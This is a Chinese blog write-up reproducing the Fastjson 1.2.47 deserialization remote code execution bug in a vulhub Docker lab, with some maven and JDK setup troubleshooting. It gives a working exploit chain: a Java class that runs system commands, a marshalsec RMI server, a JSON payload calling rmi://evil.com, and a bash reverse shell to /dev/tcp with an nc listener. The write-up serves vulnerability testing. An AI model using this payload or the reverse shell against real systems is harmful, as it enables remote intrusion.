Fastjson远程命令执行漏洞复现

最近学长找到我,说甲方公司最近可能出现一些安全隐患,因为该公司的接口平台使用的是fastjson,让我先本地复现一下。本来想在本地搭建一下fastjson的环境的,但是搭环境、找demo的过程一言难尽。于是还是用docker在vulhub找了个现成的环境进行复现,此处就省略本地搭环境的过程了,搭环境这块我向来比较丢人,还是docker香。

Fastjson远程命令执行漏洞的原理我就不介绍了,网上也找了些,说实话,我没咋看懂。

实验过程如下:

首先是git clone下vulhub的项目,可以看到一些经典的漏洞目录,里面也包含今天我们用到的fastjson漏洞环境。

进入到fastjson的目录,有1.2.24和1.2.47两个版本的rce,这里我们选择1.2.47进行实验。

docker-compose build && docker-compose up -d

拉取该版本漏洞的环境容器:

启动容器之后,访问127.0.0.1:8090,就可以看到json格式的页面内容,说明搭建成功。

将以下代码保存为TouchFile.java (没有缩进,看着比较难受sorry)

import java.lang.Runtime;

import java.lang.Process;

    public class TouchFile {

    static {

    try {

        Runtime rt = Runtime.getRuntime();

        String[] commands = {"touch", "/tmp/success"};

        Process pc = rt.exec(commands);

        pc.waitFor();

    } catch (Exception e) {

    // do nothing

}}}

然后在本地javac编译一下,获得.class的字节码文件。

接着启动一个web服务器(端口为3333),这样访问http://ip:3333/TouchFile.class,就可以访问到这个.class文件。


接着我们需要借助marshalsec项目,启动一个RMI服务器,监听4444端口,并加载远程类(需要java 8环境)。

marshalsec项目地址:https://github.com/mbechler/marshalsec

在这之前我们需要先安装下maven,安装配置maven的过程也十分漫长。

https://blog.csdn.net/a805814077/article/details/100545928,我根据这篇安装教程博客安装的。

(安装过程中需要注意:在配置镜像仓库时,如果添加了阿里云的,要把两个本地镜像给删去,不然会报错,这是唯一踩雷的地方)


安装完成maven之后,切换到marshalsec目录下使用maven进行打包

mvn clean package -DskipTests

不出意外,这里会报这个经典的错:Perhaps you are 。。。。。JRE rather than a JDK?

这个错误我之前在创建编译java project的时候也出现过,当时找了网上很多的解决方案都没法解决。又让在eclipse里修改java的啥jre为jdk,又是修改maven的update什么的。都没办法解决。

下面po上正确的解决方法:

首先在cmd里先查看 mvn -v

若发现mvn运行在jre上:

不用去eclipse里修改preference,直接更改高级设置。我的电脑--》属性--》高级系统设置--》环境变量。


改完之后,再mvn -v看看:

就搞定了。

接着上面的mvn clean package -DskipTests:

成功。

开启RMI服务(IP为本机win的ip,这里我是新打开了一个cmd。)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP#TouchFile" 9999

基本的环境就是这样,下面开始复现。

还有个问题就是在主机要访问到我虚拟机中用docker部署的网站,这个问题之前也碰到过,除了改成Nat,修改ifcfg-ens33配置文件之外,还需要把虚拟机的防火墙给关了(也可以自己修改防火墙配置,我这里为了简洁(懒),直接关闭了)。

然后就可以在本机win访问虚拟机的网站了

然后抓包,向虚拟机的靶机发送payload:

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://evil.com:9999/Exploit",

        "autoCommit":true

    }

}

这里需要注意:

修改请求模式为POST,将content-type修改为application/json。

然后send出去之后在docker的bash中查看/tmp目录下是否有success的文件:

docker ps(查看容器)

docker exec -it 容器id bash(进入容器的shell)

查看/tmp目录下是否成功生成success文件,有则表示生成成功。(我这里因为网络问题,第一次的时候并没有将请求发送出去,第二次成功过后忘记截图了,大家可以自己尝试下)

到这里之后基本复现已经结束了,其实既然都可以创建文件了,那当然后就可以反弹shell:

      payload:

// javac shell.java

import java.lang.Runtime;

import java.lang.Process;

public class shell {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP/port 0>&1"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}}}

  接着使用nc监听下指定port的端口,就可以了。

你可能感兴趣的:(Fastjson远程命令执行漏洞复现)